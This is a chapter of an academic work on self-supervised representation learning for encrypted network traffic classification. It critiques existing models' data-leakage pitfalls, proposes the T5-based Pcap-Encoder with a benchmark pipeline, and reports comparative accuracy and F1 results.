Frozen and unfrozen representation. There are coarsely two options for

training the classification model: (i) train only the classification head while keeping

the pre-trained encoder frozen; (ii) train the entire architecture end-to-end, with

an unfrozen pre-trained encoder. The latter is often referred to as fine-tuning, as it
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Table 4.1 Summary of representation learning models for traffic classification. Pitfalls are
highlighted in red. Most of the solutions proposed in the literature are affected by one or
more pitfalls.

Model
Pre-training Packet Classification

Architecture Dimension Task Types Dataset Cleaning Split # Tasks Datasets

PacRep [191] BERT 768 None Not needed Partial Packet 6 A, B, +
PERT [199] ALBERT [200] 768 MAE ̸= No Flow 2 A, +
ET-BERT [192] BERT 768 MAE, SBP ∩ Partial Packet 7 A, B, C, +
PTU [201] BERT 768 MAE, SSP, HIP, FIP ̸= No Packet 7 A, B, C, +
TrafficFormer [202] BERT 768 MAE, SODF ∩ Partial Packet 6 A, B, C, +
YaTC [203] ViT 192 MAE = No Unknown 4 A, B, +
NetMamba [204] Mamba [205] 256 MAE = Partial Flow 6 A, B, +
Pcap-Encoder T5 768 Autoencoder, Q&A ̸= Full Flow 6 A, B, C

Datasets: A=ISCX-VPN, B=USTC-TFC, C=CSTNET-TLS1.3, +=other

involves tailoring the general representations learned by the pre-trained model to

address the particular task. Although fine-tuning the entire model often yields better

results, this is more computationally and memory-expensive [197]. Additionally,

when performed on a large amount of supervised data, end-to-end fine-tuning can

significantly alter the encoder representation, potentially causing the model to forget

its pre-trained knowledge and “overfit” to the downstream task. Sometimes, this can

also lead the model to rely on tailored signals or shortcuts rather than robust features

that truly represent the underlying task [198].

4.3 Representation Learning: Network Traffic

Inspired by the success of representation learning in Image and Natural Language

Processing, researchers are exploring its adoption to automatically learn meaningful

representations of network traffic for tasks like traffic classification or QoE estimation.

This section provides an overview of the most cited and recent approaches. The key

characteristics of these solutions are summarized in Table 4.1.

To adopt representation learning strategies, all proposed solutions follow a set

of common steps which we analyse below, highlighting any potential pitfalls in the

proposals1.

1When discussing the work of other researchers we primarily rely on the information provided in
their papers. We verified the source code and the open models the authors provide for details that
were not explicitly reported.
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4.3.1 Choice of Model Architecture

The first choice to make is whether to design a new encoder model or select a model

previously presented in other areas. For traffic representation, all previous work

builds on neural architectures presented in NLP or computer vision fields.

Literature choices: The motivation for using NLP-style models comes from the

parallel between text, i.e., sequences of characters organised in words, sentences,

etc., and network traffic, i.e., sequences of bytes organised in fields, packets, flows,

sessions, etc. PacRep [191], PERT [199], ET-BERT [192], TrafficFormer [202] and

PTU [201] use the BERT model for NLP and further pre-train it to encode network

traffic.

Other approaches draw inspiration from the field of image processing. They

represent packets in the same flow as rows in a matrix to build an image. With this,

they leverage tools such as Vision Transformer (ViT) [206] or Mamba [205] to encode

image-like inputs into the embedding space. YaTC [203] and NetMamba [204] fall

into this class.

4.3.2 Pre-training Dataset

Due to the nature of the pre-training stage, collecting a large volume of unlabelled

data is crucial to ensure comprehensive coverage of the main protocols. The com-

monly adopted strategy is passively collecting traces through network sniffers, in-

cluding leveraging large publicly available datasets. Best practice suggests data

used for pre-training to be much larger than those used for fine-tuning – in line

with the idea that few-shot learning could suffice if the representation learning is

effective2. Additionally, some caution should be considered when using the same

dataset for both upstream and downstream tasks to limit the classification model

from overfitting.

Literature choices: Different works can freely use different datasets for pre-

training. However, some works use the same or part of the same dataset for both

the upstream and downstream tasks, with unfrozen representation. For example,

ET-BERT uses the ISCX-VPN [207] and (likely) CSTNET-TLS1.3 [192] datasets for

2In the case of BERT, the ratio between supervised and self-supervised data samples ranges
between 1:1,000 and 1:1,000,000, depending on the downstream task.
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both tasks. Even more, YaTC and NetMamba rely on the same dataset for upstream

and downstream tasks training.

Associated pitfalls: Dataset reuse is uncommon in the image and text domains.

While for pre-training large datasets are strongly suggested, in the downstream task

a large amount of data (likely) leads to forgetting if the representation model is

unfrozen. Indeed, the encoder could forget its pre-training knowledge and instead

memorize task-specific patterns that can deceptively enhance the performance on

downstream tasks. We will discuss this later in Sec. 4.4.2.

4.3.3 Choice of Pre-training Tasks

With pre-training, the model is meant to learn some generic and task-agnostic data

patterns from the data themselves. Usual tasks require the encoder to develop

predictive or reconstruction skills, often by masking part of the data or leveraging

the data’s temporal nature to predict future properties.

Literature choices: A common pre-training in networking involves the recon-

struction of masked bytes in a packet: The intuition behind this task is to encourage

the model to identify correlations within the unmasked input to reconstruct missing

parts. NetMamba, YaTC and PERT adopt this pre-training strategy, named Masked

Autoencoder (MAE) [182].

ET-BERT uses the original BERT pretext tasks of Masked Language Model

(MLM) and Next Sentence Prediction (NSP). In ET-BERT they call them Masked

Burst Modelling (MBM) – a MAE-style task – and Same-origin Burst Prediction

(SBP): given two packets, the model is queried whether the packets are part of the

same burst3.

TrafficFormer keeps the first MAE task from ET-BERT, but further complicates

the second into Same Origin-Direction-Flow (SODF): the model is not required to

solve just a binary problem as in SBP, but also has to guess the direction, order, and

corresponding flow of the packet.

Eventually, PTU also builds on ET-BERT MAE, but adds a Same Session Predic-

tion (SSP) task, where the model has to predict whether two packets belong to the

3A burst is, in this context, a sequence of consecutive packets that belong to the same flow.
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same session, and the Historical and Future Interval Prediction (HIP and FIP) tasks

to predict the time of arrival of previous and future packets in a flow.

Differently from the others, PacRep uses the off-the-shelf BERT model trained

on text and does not design any network-specific pretext task.

Associated pitfalls: Both linguistic and vision studies showed that words in a

sentence and patches in an image exhibit significant correlations [208–210]. While

the MAE task performs well in these contexts, the same cannot necessarily be said for

the encrypted packet payload. We argue that there is nothing that can help reconstruct

a masked encrypted payload from other parts of the packet or flow. We believe that

performing MAE on the packet payload is therefore useless, if not detrimental.

4.3.4 Mitigating the pitfalls: Pcap-Encoder
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Fig. 4.2 Schema of Pcap-Encoder, our proposal.

We propose a novel representation learning architecture that we explicitly design

and train to automatically extract information from the protocol headers that we

assume still carry plain-text information, while trying to ignore the encrypted appli-

cation payload. We call our proposed model architecture Pcap-Encoder. It creates a

packet representation.
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We propose two sequential pre-training phases that aim at capturing the contex-

tual relationship between traffic bytes and provide a semantic to some packet header

fields. The overall architecture is shown in Figure 4.2. Pcap-Encoder is based on

the well-known T5 (base) architecture [193]. The choice of T5 is motivated by the

fact that it is designed to perform question-answering tasks: prompted a question

and offered a context, the model learns how to answer. For more details about the

design of Pcap-Encoder, check Appendix C and our technical report [211].

Phase 1: Encoder update. We first update the T5 encoder using raw packet

traces to adapt it to the new data format and semantics. The encoder’s goal is to map

the original data into a numerical space, possibly removing redundant or useless

(e.g., constant) information. We use the same T5-encoder, a sequence-to-sequence

transformer-based model. We fine-tune the (base) T5 to reconstruct the original

packet from an internal representation.

T5 works using tokens to represent the input text. We convert each 2-byte long

word into a hexadecimal number, separating each word by space. We feed this textual

input to the original T5 tokenizer to generate tokens. The encoder receives the packet

divided into tokens and obtains a representation vector for each token. We modify

the T5 encoder and add a bottleneck to obtain a single representation for the entire

packet from the representations of its tokens. We test different architectures for this

bottleneck and a simple mean pooling layer suffices (see Appendix C). Finally, the

decoder reconstructs the original packet tokens4.

We start from the pre-trained T5-base encoder and continue the training on traffic

data with a standard cross-entropy loss function based on the difference between

the predicted tokens and the actual ones. At the end, the encoder gives us a single

representation of the input packet. We call this pre-trained model T5-AE. For this

pre-training, we use MAWI [212], UNSW-NB15 [213] traces and a freshly collected

trace from our campus5. This ensures both spatial and time diversity in the samples.

Traces include IPv4 and IPv6 traffic, and mostly TCP, UDP and some ICMP traffic.

In total, we use ≈ 1GB of data or 500k packets.

Phase 2: Question-answering. Next, we fine-tune the T5-AE model to extract

the semantics of protocol headers. We task the model to answer questions related

4To implement the encoder update, we use a dummy question and pass the packet over which the
model operates.

5To ensure diversity of some almost constant fields and avoid the model memorising these constant
patterns, we randomize IP addresses and TTL values.
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to some specific packet header or fields. In total, we define 8 questions, for 50,000

sample questions. We included (see Appendix C) retrieval questions applied across

different protocols (TCP-IPv4/6, UDP-IPv4, and ICMP) and more complex questions

that involve the computation on different fields. Two examples of question prompts

are "What is the destination IP address of the packet?" and "Is the packet’s IP

checksum correct?". We stress that we avoid pretext questions on the application

payload (except its size), assuming encryption prevents any possible answer on the

content.

Note that this simple Q&A training model allows one to pre-train Pcap-Encoder

on specific protocol information. For instance, it can be tasked to find the SNI in the

TLS handshake or learn where to find the A or AAAA record in DNS queries.

We start from the T5-AE encoder trained at Phase 1, again using the mean

pooling bottleneck to represent each packet. For the question-answering task, the

input consists of two parts: the query and the context. The query is the task we ask

the model to solve. The context is the packet. Queries are in plaintext so we use the

original T5 tokenizer directly. For packets, we tokenize them as before. At last, we

separate the query from the context by the special token </s> that ensures the model

correctly interprets the boundaries between the query and the context.Example: What

is the time to live of the packet?</s>4500 4000 F7C6 ... CD19.

We use the same traces as before for this second phase. At the end, we have a

T5-AE+Q&A pre-trained model.

Downstream classifiers: As done by other representation learning models

proposed for traffic classification, we add a classification head made by a two-layer

MLP with a ReLU activation function. It takes as input the T5-AW+Q&A embedding

computed from the input packet. We train separated classifiers, one for each task.

Depending on the number of classes in the task, we use binary cross-entropy or

softmax as a loss function for the MLP.

4.4 Benchmark for Network Traffic Classification

In this section, we shift focus to the downstream task of the representation learning

pipeline. As in the previous section, we explore the design choices of the most

influential and recent approaches, highlighting potential pitfalls. Additionally, to
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provide a common ground for comparing results, we introduce a fair and effective

benchmark pipeline to evaluate the representation learning capabilities of different

models for network traffic classification tasks. Our benchmark covers the vital steps

of trace gathering, cleaning, splitting, and sampling, where the literature has used a

plethora of solutions, some of which are incorrect, that prevent a fair comparison

between alternatives.

4.4.1 Dataset Preparation: Collecting, Cleaning, Splitting

We first discuss the choices on the datasets that previous authors used to train and

evaluate their solutions on downstream tasks. The picture is extremely heterogeneous.

Most authors use publicly available collections, while a few autonomously collect

traces – some sharing (part of) them [199, 192]. Each paper proposes a custom

cleaning process that removes spurious traffic (e.g., ARP, DHCP, LAN-related

protocols, etc.). Some remove flows or packets shorter than a given threshold [192,

202]. Some perform careless train-test splits, ignoring the fact that packets of the

same flow might leak information on the classification class [199, 192, 202, 201]. In

general, even when starting from the same dataset, all papers end up with a custom

collection: even the number of classes per task often differs.

We hereby call for a standardization into the following. Clearly, the process we

propose here can be extended to include other datasets and classification tasks.

Choice of dataset: Instead of setting up specific data collection campaigns, we

rely on previously used mainstream datasets and classification tasks created by the

research community. These labelled datasets were generated through experiments

conducted in controlled testbeds and offer a large data collection of encrypted traffic.

We select three datasets among those commonly used in previous works, for a total

of six tasks that we summarise in Table 4.2.

• ISCX-VPN [207]: This dataset contains traffic related to 6 different types of

services (Web browsing, VoIP, Video Streaming, Chat, Email, P2P File transfer)

using different applications (e.g., Chat with Skype or Hangouts), over plain or

VPN-encrypted connection. We define three tasks: determining whether traffic

is VPN-encrypted or not (VPN-binary); Service classification (VPN-service); and

application classification (VPN-app).
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Table 4.2 Downstream datasets and tasks.

Dataset Task #Class #Train #Test Description

ISCX-VPN VPN-binary 2 100,000 110,594 Encrypted?
ISCX-VPN VPN-service 6 120,000 111,368 Voip, Chat, ...
ISCX-VPN VPN-app 16 33,088 111,678 Gmail, Vimeo, ...

USTC-TFC USTC-binary 2 100,000 609,332 Malware?
USTC-TFC USTC-app 20 69,680 609,477 Gmail, Skype, ...

CSTN-TLS1.3 TLS-120 120 98,640 553,994 120 Websites

• USTC-TFC [214]: This dataset contains a total of 20 applications, 10 are

benign (BitTorrent, Facetime, Gmail, Skype, ...) and 10 are malicious (malware run

in controlled environments). We formulate two classification tasks: Malicious or not

(USTC-binary); and application classification (USTC-app).

• CSTN-TLS1.3 [192]: This dataset contains a total of 120 classes, each referring

to visits to a different TLS1.3-enabled website. The task here is to output the visited

website (TLS-120). The authors share only TCP flows from which they remove the

TCP 3-way-handshake and the initial client TLS-Hello – thus removing the plain-text

SNI if present. This results in a “everything encrypted” payload scenario6.

Data cleaning: Not supervising the trace collection process, data cleaning

becomes a crucial step to ensure the quality and reliability of the datasets [215]. We

summarize our interventions in the following four cases:

• Extraneous protocol filters: Given the constraints of network data collection,

certain extraneous protocols inevitably make their way into the datasets. For example,

some traces include ARP, DHCP, broadcast protocols, etc. that question the definition

of the classification task (e.g., making predictions on ARP requests, which are not

related to any classes). Some of the previous work [199, 191, 203, 202] did not clean

(or did not report how they cleaned) the traces, blindly trusting the data collection.

For our benchmark, we define a superset of filters that we report in Appendix C to

filter out the irrelevant protocols to the classification task. ISCX and USTC traces

contain more than 5% and 10% of spurious packets, respectively. CSTN is already

filtered.

• Minimum size filters: Some of the previous work filtered packets shorter than

a minimum size. For example, in ET-BERT, the authors remove all packets shorter

6In the original ET-BERT paper the authors state the SNI is present, but in the public dataset it is
not.
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than 80B7. In TrafficFormer, the authors remove flows shorter than 2kB or than three

packets. Filtering based on packet or flow size alters the classification tasks since, for

instance, all TCP signalling and acknowledgement packets could be ignored. Hence,

we do not adopt and support filters based on minimum size/number.

• Classes support filters: Some works limit the number of packets per class [192],

the number of flows per class [192, 204, 202], or directly drop a class if the minimum

support is not satisfied [192, 204, 202]. For example, TrafficFormer discards classes

with less than 10 flows and limits to 500 flows the others; ET-BERT selects at most

5000 packets or 500 flows per class; NetMamba discards rare classes and limits

common ones but authors do not report thresholds. Since these filters alter the

original data distribution, they change the nature of the problem compared to the

initial dataset. The original datasets should reflect real-world conditions, while

artificially modifying the underlying distributions introduces deviations that may

impact the performance in practical deployments. We refrain from applying any such

filters during testing. Differently, during training, researchers could use techniques

that change the original class distribution, such as balancing the class samples (see

next).

• Filters removing header information: In an attempt to limit data leakage, some

works propose to remove specific fields like Client/Server IP addresses and TCP/UDP

ports. For example, YaTC randomises the IP address and sets the port number to

zero; PacRep and NetMamba set both IP address and port to zero; PTU removes

IP address, MAC address and checksum; TrafficFormer randomises IP address and

ports. ET-BERT removes the IP header entirely. The motivation is to remove explicit

identifiers that could create shortcuts the classifier could exploit.

For the pre-training task, we consider it incorrect to remove any information

from the header. For the downstream tasks, in some cases, these filters could help the

classification model from not exploiting shortcuts and therefore they can be adopted.

Dataset Splitting into Train and Test: The golden rule in any ML pipeline is

to avoid any leakage of information from the test set into the training/validation set.

For traffic classification, we consider two basic splitting processes:

• Per-packet split: Separate the packets based on their class, then randomly split

each class into training/validation and test sets.

7This filter is present in the code, but not mentioned in the paper.
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Fig. 4.3 Per-flow and per-packet split.

• Per-flow split: Separate the flows based on their class. Then randomly put all

packets from the same flow into training/validation and test sets.

Fig. 4.3 sketches the differences between per-flow and per-packet split. Given

flows, there are explicit flow identifiers (ID) like the flow 5-tuple (represented by

colours), and implicit flow IDs, such as the TCP sequence (SeqNo) and ACK numbers

(AckNo). For instance, TCP SeqNo and AckNo are randomly selected during the

TCP three-way handshake, and all packets of the same flow then share values in a

close range. Overall, the pairs (SeqNo, AckNo) create an implicit flow ID projecting

all flow packets in a random space of ≈64 bits. Similarly, the TCP timestamp

implicitly groups packets of the same session by a close-by timestamp.

All previous works adopt a per-packet split for packet classification tasks. Un-

fortunately, this leads to serious data leakage that allows the classifier to leverage

implicit flow IDs to identify all packets of the same flow. Being the class of the

flow available during training, the classifier can easily associate a packet to its flow,

and then to its class. Therefore, we propose the adoption of the per-flow split to

remove simple implicit flow IDs that the classifier would not be able to leverage in

real deployments.

Notice that more advanced splits are possible: per-session, per-client, per-

location, per-time split, etc. Each stresses the ability of the model to generalise

when transferred in other setups. Here we limit our analysis to the basic per-packet

and per-flow split.
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Sampling a subset of the original dataset: Different network applications gen-

erate different amounts of flows and packets. This translates into a class imbalance

where a chatty application may exchange more packets than non-verbose applica-

tions, possibly creating an important class imbalance that challenges the downstream

model training. However, this imbalance is real: Limiting the number of packets or

flows per class on the entire dataset, as in some of the previous works, introduces

artefacts in the data distribution that could bias the model evaluation. Therefore, for

the test set, we suggest keeping it as obtained from the previous step. If for some

reason (e.g., computational or time constraints at inference time) the test set must be

reduced, we suggest applying Stratified sampling, which preserves the distribution

of classes as in the collected data.

For the training (and validation) set, multiple valid choices can be made ac-

cording to the used methodology. Balanced sampling through oversampling or

undersampling make the number of samples of every class similar. This enables the

model to better learn minority class samples and avoid the majority class dominating

the model training process. Alternatively, one could use a weighted loss function or

other ML techniques to compensate for class unbalance.

4.4.2 Downstream classification

Downstream task - Packet or flow: Some work frames the final task as a packet

classification problem [201, 202, 202], others focus on flow classification [199, 203,

204], some does both [192]. Here, we face both packet-level and flow-level tasks:

given a packet (or a flow), identify which class it belongs to. We define as flow the

sequence of packets with the same 5-tuple, and consider both packets sent by the

client and the server (bi-flow). At last, we consider all packets and flows to belong

to the class the trace belongs to. For instance, when visiting a website, all cleaned

packets and flows collected during such visit inherit the same website label8.

Downstream model and training: Each pre-trained encoder outputs an embed-

ding, given some input sample. This tensor is the input to the classification head. In

previous works, the classification head ranges from a simple MLP to a more complex

transformer-based architecture (e.g. in PacRep). Given the resulting classification

8Even if questionable – as also we might include noise e.g., third parties services – this is the same
formulation previous works used.
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model, authors trained it with simple supervision or using contrastive learning as in

PacRep. Given the complexity of the downstream task, one can consider which clas-

sification head model to use freely, always balancing complexity, accuracy, training

and inference requirements.

Pre-Trained Encoder - Frozen or unfrozen: During the training of the final

classifier, all previous works perform training in an end-to-end manner, i.e., the

encoder architecture is unfrozen. While legitimate, this is in contrast with the idea

that the representation produced by the encoder is actually representative. By freezing

the encoding part of the model, the classification head should leverage the obtained

generic representation. Therefore, to check how meaningful the representation is, we

advocate the usage of frozen encoder during the training of the downstream classifier.

Performance metrics: Accuracy and macro F1-Score. To evaluate the clas-

sifier performance, we suggest using both the accuracy and the macro-averaged

F1-Score. Accuracy measures the number of correct predictions. It is the ratio

between the total number of correct predictions by the total number of predictions.

Accuracy treats all samples as equally important. In an unbalanced situation, it

underweights the performance of minority classes.

Macro-averaged F1-Score is the arithmetic mean (i.e., unweighted mean) of all

F1 scores per class. This metric equally weights errors across all classes, regardless

of support.

All previous works but PacRep report the accuracy. Correctly, some present the

macro F1-Score too. YaTC and NetMamba use the micro F1-Score – which favours

majority classes; PacRep only reports micro F1 and macro F1 scores.

4.5 Experimental setup

Here we describe the experimental setup to compare and understand the poten-

tial of representation learning for the traffic classification tasks we design in our

benchmarks.
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Table 4.3 Results of Pcap-Encoder and the three SoA models for packet classification. Per-
flow split, Frozen encoders. We report accuracy (AC) and macro F1-score (F1). Results
below 50% are highlighted in red, best in bold.

VPN-binary (2) VPN-service (6) VPN-app (16) USTC-binary (2) USTC-app (20) TLS-120
Model

(Per-flow split) AC F1 AC F1 AC F1 AC F1 AC F1 AC F1

ET-BERT 84.7 84.6 71.7 64.2 59.2 43.7 100.0 100.0 84.9 79.6 10.9 6.7
YaTC 83.9 83.9 69.2 60.1 60.9 44.3 99.5 99.5 85.2 78.0 15.5 9.6
NetMamba 75.0 74.5 56.9 49.0 39.6 28.4 97.6 97.5 72.5 57.7 8.8 4.5

Pcap-Encoder 99.9 99.9 92.1 89.8 83.5 71.0 100.0 100.0 91.0 87.1 71.0 63.7

Downstream models: For our experiments, we select three representative mod-

els: ET-BERT, 9 YaTC 10 and NetMamba 11. Each uses a different representation

learning model: BERT, ViT and Mamba. The former supports both packet and flow

embedding. The latter are flow embedders that we extend to support packets as well.

We download the pre-trained models from each original repository. To the contender

list, we add Pcap-Encoder and consider also shallow models (without representation

learning) as baselines.

For each model, we follow the data preparation and parameter setting suggested

by the original papers when available:

• ET-BERT: We remove the Ethernet and IP header and TCP ports. We set the

learning rate to 2 · 10−5 with 20 epochs for fine-tuning the unfrozen model, and

2 ·10−3 for 60 epochs for the frozen model.

• YaTC: We anonymize IP addresses and ports, and group the first five packets

to construct the input matrix by padding or truncating packets if necessary as in the

original paper. We set the learning rate at 2 ·10−3 and the batch size to 64 over 200

epochs both for the frozen and unfrozen tests.

• NetMamba: We use the same learning rate and data processed as YaTC.

• Pcap-Encoder: We load the T5-base model with pre-trained weights.12 For the

encoder adaptation, we use the AdamW optimizer, a learning rate of 5 ·10−4, a linear

rate scaling, batch size of 8, and we train for 15 epochs. For question-answering

tasks, we keep the same learning rate and scaling. We train for 20 epochs with a

batch size of 24.
9ET-BERT: https://github.com/linwhitehat/ET-BERT

10YaTC: https://github.com/NSSL-SJTU/YaTC
11NetMamba: https://github.com/wangtz19/NetMamba
12T5: https://huggingface.co/google-t5/t5-base
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• Shallow model: We use 4 different ML models (i.e., Random Forest, XGBoost,

MLP, LigthGBM ) and we use AutoGloun [216] to automatically select the best

hyperparameters. As features, we construct a vector for each packet by extracting

the values of selected protocol fields (padding missing fields) – see Table C.3 in

Appendix.

When facing the packet classification task with the YaTC and NetMamba flow-

embedders, we Repeat the same packet 5 times13. We use the original flow-embedder

models for the flow classification task. For Pcap-Encoder, we consider a simple

majority voting on the first 5 flow packet classification.

Downstream task evaluation: As reported in Section 4.4, we split each dataset

into training and test partitions, according to a 7:1 ratio. We adopt the per-flow split

strategy. We make sure that long flows are evenly distributed within the partitions.

For the training set, we balance it by undersampling each class to the minority class.

For flows longer than 1,000 packets, we randomly select 1,000 packets across the

flow. Table 4.2 reports the number of samples in the training and testing sets. The

proportion between the train and test samples changes for each downstream dataset

due to the undersampling of the training part.

To select the best hyperparameters for each model, we perform a K-Fold cross-

validation of the training partition with K = 3 (2/3 used for training, 1/3 for validation,

3 folds). In all experiments, we test all models and configurations with the exact

same splits for a fair comparison.

To study the per-packet split scenario, we create a second split simply following a

8:1:1 random split into train, validation and test – as originally proposed in ET-BERT.

In this case, packets from the same flow can end up in both trains and tests.

4.6 Results

We perform all the experiments HPC Cluster equipped with NVIDIA Tesla V100

SXM2 GPUs. We use Python and Pytorch for the implementation and make all the

datasets, models, and code available to the community for reproducibility and to

foster further studies.
13We also test a Padding strategy where 4 padding packets with all zeros follow the packet. The

Repeat strategy offers better results.
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4.6.1 Packet-Level Traffic Classification

We start from the proposed flow-split-based scenario with frozen encoders on the

packet classification tasks. Observing poor results, we run experiments with the

unfrozen encoders. With still negative results, we move to the packet-split-based

option, finally obtaining the same exceptional results promised in the literature.

Per-Flow Split – Frozen encoder: We consider the six tasks we presented in

Section 4.4 and test all representation learning models with the per-flow split and

frozen encoders. We report results in Table 4.3. Surprisingly, the performance of all

models is very poor, up to 80% lower than that reported in their respective papers.

Only in the simplest binary classification tasks, VPN-binary and USTC-binary, all

models offer solid results. On the most challenging VPN-app and TLS-120 tasks, the

performance is really disappointing.

Notice how Pcap-Encoder performs best in all tasks, significantly outperforming

other methods. Yet, in the most complex tasks, it struggles to achieve excellent

results.

Although it contrasts with previous studies, the poor performance in encrypted

scenarios is justified by the debatable assumption made by previous works according

to which some information can still be extracted from the encrypted payload. Since

these models are designed to disregard information from packet headers, they rely

on minimal data, primarily packet direction and size. In contrast, Pcap-Encoder

provides an informative representation to the classification head, enabling it to

distinguish the application that generated a packet from the network and the transport

headers summarised by the Pcap-Encoder encoder.

Given that some tasks are very simple, in the following, we focus only to the

VPN-app and TLS-120 tasks.

Per-Flow Split – Unfrozen Encoder: To investigate the root cause of poor

performance, we let the classification model fine-tune the embedder part as well,

i.e., we unfreeze the encoder. We report results in Table 4.4, for VPN-app and

TLS-120 cases. As expected, all proposed models improve their performance by

20-40%. Still, unfreezing the encoder does not suffice to reach a satisfactory result

for none of them. Pcap-Encoder still achieves the best performance: Notice that the

unfreezing boost is less significant than the counterparts – about 5% improvement
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Table 4.4 Per-flow split, frozen and unfrozen encoder. Results improve, but models still
struggle in challenging setups.

VPN-app (16) TLS-120

Frozen Unfrozen Frozen Unfrozen
Model

(Per-flow split)

AC F1 AC F1 AC F1 AC F1

ET-BERT 59.2 43.7 82.8 69.7 10.9 6.7 28.0 21.5
YaTC 60.9 44.3 79.1 65.2 15.5 9.6 36.6 31.4

NetMamba 39.6 28.4 80.4 65.9 8.8 4.5 40.7 35.3

Pcap-Encoder 83.5 71.0 85.6 74.8 71.0 63.7 77.3 69.2

Table 4.5 Per-packet split scenario.

VPN-app (16) TLS-120

Frozen Unfrozen Frozen Unfrozen
Model

(Per-packet split)

AC F1 AC F1 AC F1 AC F1

ET-BERT 69.5 64.7 96.8 97.0 17.5 10.2 97.4 96.8
YaTC 73.2 67.7 98.5 98.5 26.8 17.7 98.2 97.7

NetMamba 53.5 45.1 98.4 98.4 13.5 5.3 97.4 96.8

Pcap-Encoder 91.9 90.6 94.3 93.9 85.7 81.0 88.6 80.3

only. This confirms that Pcap-Encoder still relies on its pre-training knowledge

to capture generic network representations and does not require re-learning with

end-to-end training.

Per-Packet Split – Frozen vs Unfrozen Encoder: Wondering why the perfor-

mance does not yet saturate to the ‘all g 95%’ scenario, we observe what happens

with the per-packet split as originally adopted in all previous works. We present

results in Table 4.5 for both frozen and unfrozen encoder setups on the two most

challenging tasks.

Focus first on the frozen encoder scenario. The performance that all previous

models achieve is still far from satisfactory. In particular, in the TLS-120, we obtain

very poor results. Compare now with an unfrozen encoder, where the accuracy

finally exceeds 96%.

Two main take-home messages arise: First, per-packet split enables some data

leakage that allows the classifier to finally find exploitable patterns. Second, the

representation offered by the frozen encoder is not useful for solving classification
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Table 4.6 Impact of implicit flow ID. Unfrozen ET-BERT.

Scenario Dataset AC F1

Original 97.4 96.8

w/o SeqNo/AckNo
w/o Timestamp

(only test)
19.5 15.4

Per-packet Split

w/o SeqNo/AckNo
w/o Timestamp

(train + test)
52.2 48.2

Per-flow Split Original 28.0 21.5

tasks. Only when end-to-end training is enabled, the models learn patterns that allow

them to shine.

To gauge the representativeness of the embeddings, we compute, for each packet,

the number of neighbouring packets that have the same class, using their represen-

tation in the embedding space. The intuition is that, if the embedder can project

packets with the same class in the same portion of the embedding space, most of

the packet’s neighbours should be of the same class. For each point, we consider

the 5-nearest neighbours (5-NN) and count how many samples are of the correct

class (5-NN purity). Fig. 4.4 shows this analysis considering ET-BERT embeddings

in frozen (left) and unfrozen (right) setups, in the TLS-120 case. Given a packet

of class c, in the former case, 71% of packets have no neighbour of class c. After

training, the embedding changes drastically, so that now 97% of packets have all

the 5 neighbours of class c. The original embeddings lack meaningful information,

and it is only during end-to-end training that the classification model adapts them to

specifically address the downstream tasks. The same holds for the embeddings of

other models, not reported here for the sake of brevity.

In a nutshell, even with data leakage, the models need to modify all their weights

to solve the classification task, as their original representations are uninformative.

Unfortunately, the patterns activated by the per-packet split are misleading and

impractical for real-world use. The per-packet split strategy suffers from severe data

leakage, causing packets from the same flow to appear in both the training and test

sets. As a result, the model learns information it should not rely on. Specifically,

some implicit flow IDs enable it to link a test packet to its corresponding flow and,

ultimately, its class.
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Fig. 4.4 5-NN purity of embeddings for ET-BERT.

Removing implicit flow IDs We systematically analyse the cause of the perfor-

mance increase with the per-packet split and unfrozen model. We focus on ET-BERT

as a case study, with the TLS-120 task. Table 4.6 summarises these experiments. The

first row reports (as in Table 4.5) the excellent performance with the per-packet split

and unfrozen encoder.

Now, consider the same model tested on the same data but with randomized

SeqNo, AckNo, and TCP timestamps (second row) The results drop by approximately

80%. This suggests that the model relies on shortcuts during training – finding

patterns that do not generalize – leading to a abrupt performance decline when those

shortcuts are unavailable.

Train now the same model on a training set where the implicit flow IDs are

removed – and no easy shortcuts are present. Test this model on a test set without

shortcuts too. Results improve. That is, the model – trained unfrozen – looks

for other patterns that still allow it to solve the classification task, even if in an

unsatisfactory manner. Some data leakage is still present.

Lastly, we report in the last row the results in a per-flow split (the same from

Table 4.4). Here packets are naturally and consistently separated in train or test sets,

and the model cannot find easy patterns.

In short, the per-packet split introduces dangerous leakages, allowing the model

to find easy patterns that will not be available during deployment. It is crucial to

carefully split the data to avoid this issue. A per-flow split helps mitigate the problem,
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Table 4.7 Traditional ML baselines and Pcap-Encoder.

VPN-app (16) TLS-120
Model

(Per-flow split) AC F1 AC F1

RF 91.6 81.1 81.8 78.0
XGBoost 91.6 82.1 85.1 82.0

LightGBM 92.0 82.6 85.6 82.4

MLP 79.3 65.1 74.1 68.8

RF w/o IP addr 85.9 72.4 45.6 39.4
XGBoost w/o IP addr 85.9 73.2 46.2 41.3

LightGBM w/o IP addr 87.3 74.5 45.6 40.6
MLP w/o IP addr 69.6 52.5 36.7 30.5

Pcap-Encoder 83.5 71.0 71.0 63.7
Pcap-Encoder w/o IP addr 68.9 52.5 67.3 52.4
Pcap-Encoder w/o header 18.2 16.4 2.6 1.5
Pcap-Encoder w/o payload 79.4 66.7 71.3 63.6

but in more complex scenarios, more advanced splitting strategies may be required,

such as per-session, per-time, or per-network split.

Pcap-Encoder vs Shallow models: So far, Pcap-Encoder proved to offer the

best performance in realistic scenarios. But how does it compare with traditional

ML approaches? In Table 4.7, we compare the performance of the shallow models

with that of Pcap-Encoder. In the upper part of the table, the results show that the

shallow ML models perform better than Pcap-Encoder. This difference may be

because Shallow ML explicitly use the relevant protocol field information as features.

Instead, Pcap-Encoder relies on the upstream pre-training task that has to learn the

generic key features from the original byte stream in an autonomous way.

In the middle part of the table, we show what happens when we remove the IP

address features. When those features are unavailable, the performance of shallow

models drops, especially in the TLS-120 task. In appendix C, we how the feature

importance changes consequently.

In the last three lines of Table 4.7 we show the performance of Pcap-Encoder

while we randomize the IP addresses, remove the IP header entirely, or remove

the application payload. Changes are applied in both the training and testing sets.

In the first case, Pcap-Encoder can still achieve solid results, outperforming the

shallow models in the same conditions. Conversely, when deprived of the IP and

TCP headers, performance collapses. This is expected given that Pcap-Encoder is
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Table 4.8 Flow-based classification tasks.

VPN-app (16) TLS-120

Frozen Unfrozen Frozen Unfrozen
Model

(Flow Split)

AC F1 AC F1 AC F1 AC F1

ET-BERT 42.0 38.9 59.2 54.3 20.5 13.8 55.3 51.5
YaTC 25.5 25.1 60.0 54.8 34.0 27.8 77.3 74.8

NetMamba 15.6 13.6 52.4 48.6 16.9 11.3 78.3 76.0

Pcap-Encoder 69.2 62.2 – – 71.3 68.1 – –

designed to ignore the payload. Removing the application layer payload has a limited

(VPN-app) or no impact (TLS-120 – everything encrypted scenario). By design –

and in practice – the encrypted payload cannot make any significant contribution to

the classification task.

